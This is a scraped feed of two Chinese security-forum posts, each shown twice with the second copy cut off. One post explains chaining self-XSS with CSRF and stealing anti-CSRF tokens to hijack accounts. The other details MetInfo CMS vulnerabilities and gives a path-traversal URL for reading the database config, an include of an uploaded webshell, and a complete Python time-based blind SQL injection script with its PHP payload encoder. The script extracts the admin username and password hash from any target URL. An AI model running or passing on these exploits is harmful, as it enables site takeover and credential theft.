xss结合csrf

渗透测试input 发表了文章 • 0 个评论 • 16 次浏览 • 9 小时前 • 来自相关话题

一,借助csrf使self-xss变废为宝
一般情况下,在用户中心处修改的信息只有自己能看到,所以即便存在xss其危害也是不大的,如果想扩大self-xss的危害,就得想办法让其他用户能够看到你的xss payload,那么此时csrf就发挥作用了,可以通过以下步骤结合csrf打到其他用户的cookie。
 
1.攻击者在恶意网站B中插入csrf payload,此payload用来修改网站A用户中心出的姓名,并且姓名的value值为攻击者xss payload。
2.诱惑用户访问网站B,xss payload随着csrf payload的触发而插入到用户的姓名处。
3.xss payload触发 打到用户cookie。
 
已知某网站的网名处存在存储型xss 登陆用户A后修改网名





 
插入xss payload 点击修改 利用burp抓包后构造csrf poc





 
点击Test in browser获取poc的url,将用户A更换为用户B进行测试





 
用户B在恶意网站触发csrf payload,网名处成功插入xss





 
 
二. 利用xss获取token,绕过对csrf的限制
已知一些网站为了防御csrf,会在服务器端生成一个随机的token,并且在用户访问网页时创建一个input标签插入到表单中,其value值即为服务器生成的token,并且type的属性设为hidden进行隐藏,因此token会随着用户提交表单发送到服务器进行验证,如果token值不正确,则此次请求失败。
此时想要实现csrf攻击就要获取服务器产生的token
 
在dwva中的修改密码就用了token机制





 
此时如还想利用csrf修改他人密码就需要获得这个token,下面看这段代码





 
这段代码的作用就是在用户访问攻击者的恶意网站B时通过iframe这个标签在用户不知情的情况的下访问网站A的修改密码的页面,并获取网站A的token添加到构造好的csrf payload中进行提交,完成密码修改。
但是在实际情况下单纯的用这种方法是不可行的,因为这涉及到了同源策略的问题,攻击这构造的网站B与网站A处于不同的域,所以网站B加载的脚本无法跨域获取网站A的token,此时想要修改用户的密码还是要结合xss,将获取token的恶意代码插入到目标网站。
实现方法就是在目标网站找到xss,插入xss payload 当用户访问时就会打到token构造csrf payload 提交表单修改密码。
既然存在xss,那么直接用xss打到用户的cookie不接行了? 因为一些网站会有httponly限制
所以即使存在xss也达不到cookie,此方法优点就是不会受到httponly的限制。
 
  查看全部
一,借助csrf使self-xss变废为宝
一般情况下,在用户中心处修改的信息只有自己能看到,所以即便存在xss其危害也是不大的,如果想扩大self-xss的危害,就得想办法让其他用户能够看到你的xss payload,那么此时csrf就发挥作用了,可以通过以下步骤结合csrf打到其他用户的cookie。
 
1.攻击者在恶意网站B中插入csrf payload,此payload用来修改网站A用户中心出的姓名,并且姓名的value值为攻击者xss payload。
2.诱惑用户访问网站B,xss payload随着csrf payload的触发而插入到用户的姓名处。
3.xss payload触发 打到用户cookie。
 
已知某网站的网名处存在存储型xss 登陆用户A后修改网名

QQ截图20191206130536.png

 
插入xss payload 点击修改 利用burp抓包后构造csrf poc

QQ截图20191206130624.png

 
点击Test in browser获取poc的url,将用户A更换为用户B进行测试

QQ截图20191206130641.png

 
用户B在恶意网站触发csrf payload,网名处成功插入xss

QQ截图20191206130704.png

 
 
二. 利用xss获取token,绕过对csrf的限制
已知一些网站为了防御csrf,会在服务器端生成一个随机的token,并且在用户访问网页时创建一个input标签插入到表单中,其value值即为服务器生成的token,并且type的属性设为hidden进行隐藏,因此token会随着用户提交表单发送到服务器进行验证,如果token值不正确,则此次请求失败。
此时想要实现csrf攻击就要获取服务器产生的token
 
在dwva中的修改密码就用了token机制

QQ截图20191206130729.png

 
此时如还想利用csrf修改他人密码就需要获得这个token,下面看这段代码

QQ截图20191206130801.png

 
这段代码的作用就是在用户访问攻击者的恶意网站B时通过iframe这个标签在用户不知情的情况的下访问网站A的修改密码的页面,并获取网站A的token添加到构造好的csrf payload中进行提交,完成密码修改。
但是在实际情况下单纯的用这种方法是不可行的,因为这涉及到了同源策略的问题,攻击这构造的网站B与网站A处于不同的域,所以网站B加载的脚本无法跨域获取网站A的token,此时想要修改用户的密码还是要结合xss,将获取token的恶意代码插入到目标网站。
实现方法就是在目标网站找到xss,插入xss payload 当用户访问时就会打到token构造csrf payload 提交表单修改密码。
既然存在xss,那么直接用xss打到用户的cookie不接行了? 因为一些网站会有httponly限制
所以即使存在xss也达不到cookie,此方法优点就是不会受到httponly的限制。
 
 

Metinfocms前台漏洞(一)

Web安全渗透Einzben 发表了文章 • 0 个评论 • 23 次浏览 • 12 小时前 • 来自相关话题

cms类型判断
robots.txt文件
robots.txt文件我们写过爬虫的就知道,这个文件是告诉我们哪些目录是禁止爬取的。但是大部分的时候我们都能通过robots.txt文件来判断出cms的类型
从wp路径可以看出这个是WordPress的CMS





 
WordPress
这个就比较明显了直接告诉我们是PageAdmin cms





 
PageAdmin CMS
有些robots.txt里面写得不是很清楚。我们看看织梦的





 
dedeCMS
从robots.txt不能直接看出来是什么cms,我们就直接把他复制到百度去查询





 
这样就找到是织梦CMS
通过版权信息进行查询
一般直接拉到底部查看版权信息,有些站点会显示出来,比如织梦这个




版权信息
通过查看网页源码的方式
有些站点没有robot.txt,也把版本信息改了,这时候首页查看网页源码可能找得到,如图





米拓cms
一款免费开源的企业级 CMS, 采用 PHP + Mysql 架构,是一款对 SEO 非常友好、功能全面、支持可视化编辑、多语言、响应式展示,极其适合企业网站建设的 cms 建站系统。致力于打造中小企业优质的互联网信息化工具供应平台
0x01任意文件读取
漏洞分析
漏洞文件 app\system\include\module\old_thumb.class.phppublic function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
1 页面建立old_thumb 类,并创建dbshow方法
2 程序首先过滤…/和./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。
3 windows下可以使用…\绕过
漏洞利用
版本 6.0.0http://localhost/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php



0x02sql盲注
漏洞分析
此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞。
漏洞版本 <6.2.0
讲解版本:metinfo6.1.3
漏洞最初产生为:/app/system/user/web/register.class.php 94~107行:




可以看到此函数将 GET,POST,COOKIE,过来的数据经过decode解码后直接赋值给$username变量,然后将此变量带入get_user_valid()函数,跟进:



将此可控变量引入get_user_by_username()函数,跟进:




再次跟进get_user_by_nameid()函数:




此处可以看到,这条SQL语句将未过滤的变量直接带入SQL查询中,于是产生SQL注入漏洞。此处回过头在看看decode函数内容,然后构造payload。




可以看到decode函数与encode函数都会将数据引入authcode函数中,查看此函数:




再看次函数必须的一个参数$this->auth_key = $_M['config']['met_webkeys'];




此处可以看到$_M['config']['met_webkeys']是取随机数,然后在写入config_safe.php中,但此处有一个致命的问题,就是<?php后面没有空格是无法解析的,于是可以查看的到此随机数。




于是,有了$this->auth_key = $_M['config']['met_webkeys']的值之后,就可以随意通过此加密算法构造payload。首先将authcode()函数的内容拷贝至本地稍作更改,如下:<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_GET['str'],'ENCOUDE',$_GET['key'],0)));
?>
访问此文件,$_GET['str']的值为payload,$_GET['key']的值为config_safe.php中的内容,可获取一个加密后的数据,然后将此数据通过GET,POST,COOKIE等方式传入,即可成功利用漏洞。




漏洞利用
测试版本 6.0.0
首先查看config_safe.php生成的值view-source:http://localhost/MetInfo6.0.0/config/config_safe.php
获得




构造payload?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6
访问运行本地的authcode函数http://localhost/mi.php?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6


生成



将生成的信息填入localhost/MetInfo6.0.0/admin/index.php?n=user&m=web&c=register&a=doemailvild&p=
访问发现sleep成功
利用脚本#coding=utf-8
import requests
import re
import sys
import time


#获取config_safe.php中的 key
def getKey(url,headers,local_url):
try:
url_key = url + "/config/config_safe.php"
rsp = requests.get(url_key,headers)
p = re.compile(r'<\?php\/\*(.*)\*\/\?>')
p1 = p.findall(rsp.text)
key = p1[0]
databaseLen(key,headers,local_url,url)
except:
sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):
for str in range(1,21):
len = '%d'%str
payload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
databaseName(len,key,headers,local_url,url)
#爆出数据库名
def databaseName(len,key,headers,local_url,url):
len = int(len)
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量
database_name = ''
for i in range(len):
ch = i + 1
ch = '%d'%ch
for char in chars:
payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
database_name = database_name + char
print("数据库名字为:%s"%database_name)
adminName(database_name,key,headers,local_url,url)
#爆出管理员用户名
def adminName(database_name,key,headers,local_url,url):
#首先爆用户名长度
for i in range(1,20):
len = '%d'%i
payload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"
back_len = queryKey(key,headers,payload_len,local_url,url)
if back_len is True:
break
#在爆出用户名
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加
admin_name = ''
for x in range(i):
str = '%d'%(x+1)
for char in chars:
payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload_str,local_url,url)
if back_str is True:
admin_name = admin_name + char
break
print("管理员用户名为:%s"%admin_name)
adminPass(key,headers,local_url,url,database_name,admin_name)
#爆管理员密码
def adminPass(key,headers,local_url,url,database_name,admin_name):
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加
admin_pass = ''
for i in range(1,33):
str = '%d'%i
for char in chars:
payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
admin_pass = admin_pass + char
print("管理员密码md5为:%s"%admin_pass)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):
payload = "key="+key+"&str="+str
rsp = requests.post(local_url,headers = headers,data = payload)
# str = rsp.url
# data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
# print(data)
return getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):
params = "p="+payload
test_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"
return getData(test_url,params,headers)
#获取数据
def getData(url,params,headers):
startTime = time.time();
rsp = requests.post(url,data=params,headers=headers)
if time.time() - startTime > 4:
return True
else:
pass
if __name__ == '__main__':
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"en-US,en;q=0.5"
}
url = input("please input URL:")
if "http://" or "https://" in url:
local_url = input("请输入本地搭建的encode函数地址:")
getKey(url,headers,local_url)
else:
print("please input the correct url!!")  
本地搭建的encode函数:<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));



 
0x03变量覆盖漏洞
漏洞详情简介
变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables() $$使用不当
影响版本 :5.3.
代码分析
1. metinfo\include\common.inc.phpforeach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
这里注意$$request造成变量覆盖 ,代码中使用 $_request 来获取用户信息,代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,此处还使用自定义函数 daddslashes() 对变量值进行处理。 作用是获取参数很方便
在一简单的题中:
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?id=1 会将id的值覆盖,id的值覆盖,id=1。<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : 2;
if($id == 1) {
echo "flag{xxxxxxxxxx}";
die();
}
echo $id;
?>
浏览器执行 http://127.0.0.1/test.php?id=1




2. 代码中查找 daddslashes() 函数/*POST变量转换*/
function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}

return $string;
}
可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。
好,那里我们确实存在变量覆盖漏洞了,现在我们就需要寻找可以和变量覆盖漏洞配合造成危害的地方了,比如任意文件包含、任意文件读取等等。所以我们现在开始查找包含了这个common.inc.php的文件以及可以造成覆盖变量的利用文件。
 
3. 关于页面
接着来看/about/页面的信息,查看\about\index.php文件,这里存在两个比较可疑的变量、一个是fmodule变量、另一个是module变量,其中还有require_once()函数,可能存在文件包含漏洞:
\about\index.php:<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
?>
以上代码中的 $module 变量未赋值
先来输出一下看看 $module 变量的值是什么<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
require_once $module;
?>
浏览器执行 http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php




可以看到 $module 的值是 show.php
浏览器执行http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php?module=123456




$module 的值并没有覆盖掉
分析 require_once ‘…/include/module.php’; 发现包含了common.inc.php
也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖,输出尝试一下:<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
echo $fmodule;
require_once $module;
?>
浏览器执行/about/index.php?module=123&amp;fmodule=test




4. fmodule变量和module变量之间的关系
因为需要利用到require_once()函数来实现文件包含漏洞的利用,接着找fmodule变量和module变量之间的关系,回到module.php来跟踪module变量,可以看到在最后的判断语句中存在该变量:$module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}
当fmodule不为7时,不覆盖;fmodule为7时,覆盖:
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=7




$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数到这里也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖
 
漏洞利用
包含上传的小马文件xiaoma.txt
浏览器执行 /about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt




补充:按照实验流程以及文章给的5.3.17版本实验并没有复现成功
我的疑问主要在
文章说$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数(但当运行到某处时应该变成了空值)
index.php中首先运行module.php




我所输入的?module=123456 在module.php运行到99行判断f是否为7时又被变成了空值(文章中也有99行的代码并非版本不同)




而后才在index,php被require_once




因此运行 /about/index.php?fmodule=7&module=123456 时页面并不会显示module=123456




若在98行输出才会显示到页面上









说明确实变成了空值,,那么运行/about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt应该也不会出现文章中的效果 吧





 
参考文章
https://www.cnblogs.com/Spec/p/10735432.html
https://www.cnblogs.com/-qing-/p/10889467.html
关于变量覆盖
https://blog.csdn.net/Kevinhanser/article/details/81176757
https://www.freebuf.com/column/150731.html
https://blog.csdn.net/Kevinhanser/article/details/81146092

 
 
 
 

 
  查看全部
cms类型判断
robots.txt文件
robots.txt文件我们写过爬虫的就知道,这个文件是告诉我们哪些目录是禁止爬取的。但是大部分的时候我们都能通过robots.txt文件来判断出cms的类型
  1. 从wp路径可以看出这个是WordPress的CMS


001.png

 
WordPress
  1. 这个就比较明显了直接告诉我们是PageAdmin cms


002.png

 
PageAdmin CMS
  1. 有些robots.txt里面写得不是很清楚。我们看看织梦的


003.png

 
dedeCMS
从robots.txt不能直接看出来是什么cms,我们就直接把他复制到百度去查询

004.png

 
这样就找到是织梦CMS
通过版权信息进行查询
一般直接拉到底部查看版权信息,有些站点会显示出来,比如织梦这个
005.png

版权信息
通过查看网页源码的方式
有些站点没有robot.txt,也把版本信息改了,这时候首页查看网页源码可能找得到,如图

006.png

米拓cms
一款免费开源的企业级 CMS, 采用 PHP + Mysql 架构,是一款对 SEO 非常友好、功能全面、支持可视化编辑、多语言、响应式展示,极其适合企业网站建设的 cms 建站系统。致力于打造中小企业优质的互联网信息化工具供应平台
0x01任意文件读取
漏洞分析
漏洞文件 app\system\include\module\old_thumb.class.php
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

1 页面建立old_thumb 类,并创建dbshow方法
2 程序首先过滤…/和./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。
3 windows下可以使用…\绕过
漏洞利用
版本 6.0.0
http://localhost/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
007.png

0x02sql盲注
漏洞分析
此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞。
漏洞版本 <6.2.0
讲解版本:metinfo6.1.3
漏洞最初产生为:/app/system/user/web/register.class.php 94~107行:
008.png

可以看到此函数将 GET,POST,COOKIE,过来的数据经过decode解码后直接赋值给$username变量,然后将此变量带入get_user_valid()函数,跟进:
009.png

将此可控变量引入get_user_by_username()函数,跟进:
10.png

再次跟进get_user_by_nameid()函数:
11.png

此处可以看到,这条SQL语句将未过滤的变量直接带入SQL查询中,于是产生SQL注入漏洞。此处回过头在看看decode函数内容,然后构造payload。
12.png

可以看到decode函数与encode函数都会将数据引入authcode函数中,查看此函数:
13.png

再看次函数必须的一个参数$this->auth_key = $_M['config']['met_webkeys'];
14.png

此处可以看到$_M['config']['met_webkeys']是取随机数,然后在写入config_safe.php中,但此处有一个致命的问题,就是<?php后面没有空格是无法解析的,于是可以查看的到此随机数。
15.png

于是,有了$this->auth_key = $_M['config']['met_webkeys']的值之后,就可以随意通过此加密算法构造payload。首先将authcode()函数的内容拷贝至本地稍作更改,如下:
<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_GET['str'],'ENCOUDE',$_GET['key'],0)));
?>

访问此文件,$_GET['str']的值为payload,$_GET['key']的值为config_safe.php中的内容,可获取一个加密后的数据,然后将此数据通过GET,POST,COOKIE等方式传入,即可成功利用漏洞。
16.png

漏洞利用
测试版本 6.0.0
首先查看config_safe.php生成的值
view-source:http://localhost/MetInfo6.0.0/config/config_safe.php

获得
17.png

构造payload
?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6

访问运行本地的authcode函数
http://localhost/mi.php?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6


生成
18.png

将生成的信息填入
localhost/MetInfo6.0.0/admin/index.php?n=user&m=web&c=register&a=doemailvild&p=

访问发现sleep成功
利用脚本
#coding=utf-8
import requests
import re
import sys
import time


#获取config_safe.php中的 key
def getKey(url,headers,local_url):
try:
url_key = url + "/config/config_safe.php"
rsp = requests.get(url_key,headers)
p = re.compile(r'<\?php\/\*(.*)\*\/\?>')
p1 = p.findall(rsp.text)
key = p1[0]
databaseLen(key,headers,local_url,url)
except:
sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):
for str in range(1,21):
len = '%d'%str
payload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
databaseName(len,key,headers,local_url,url)
#爆出数据库名
def databaseName(len,key,headers,local_url,url):
len = int(len)
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量
database_name = ''
for i in range(len):
ch = i + 1
ch = '%d'%ch
for char in chars:
payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
database_name = database_name + char
print("数据库名字为:%s"%database_name)
adminName(database_name,key,headers,local_url,url)
#爆出管理员用户名
def adminName(database_name,key,headers,local_url,url):
#首先爆用户名长度
for i in range(1,20):
len = '%d'%i
payload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"
back_len = queryKey(key,headers,payload_len,local_url,url)
if back_len is True:
break
#在爆出用户名
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加
admin_name = ''
for x in range(i):
str = '%d'%(x+1)
for char in chars:
payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload_str,local_url,url)
if back_str is True:
admin_name = admin_name + char
break
print("管理员用户名为:%s"%admin_name)
adminPass(key,headers,local_url,url,database_name,admin_name)
#爆管理员密码
def adminPass(key,headers,local_url,url,database_name,admin_name):
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加
admin_pass = ''
for i in range(1,33):
str = '%d'%i
for char in chars:
payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
admin_pass = admin_pass + char
print("管理员密码md5为:%s"%admin_pass)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):
payload = "key="+key+"&str="+str
rsp = requests.post(local_url,headers = headers,data = payload)
# str = rsp.url
# data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
# print(data)
return getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):
params = "p="+payload
test_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"
return getData(test_url,params,headers)
#获取数据
def getData(url,params,headers):
startTime = time.time();
rsp = requests.post(url,data=params,headers=headers)
if time.time() - startTime > 4:
return True
else:
pass
if __name__ == '__main__':
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"en-US,en;q=0.5"
}
url = input("please input URL:")
if "http://" or "https://" in url:
local_url = input("请输入本地搭建的encode函数地址:")
getKey(url,headers,local_url)
else:
print("please input the correct url!!")  

本地搭建的encode函数:
<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
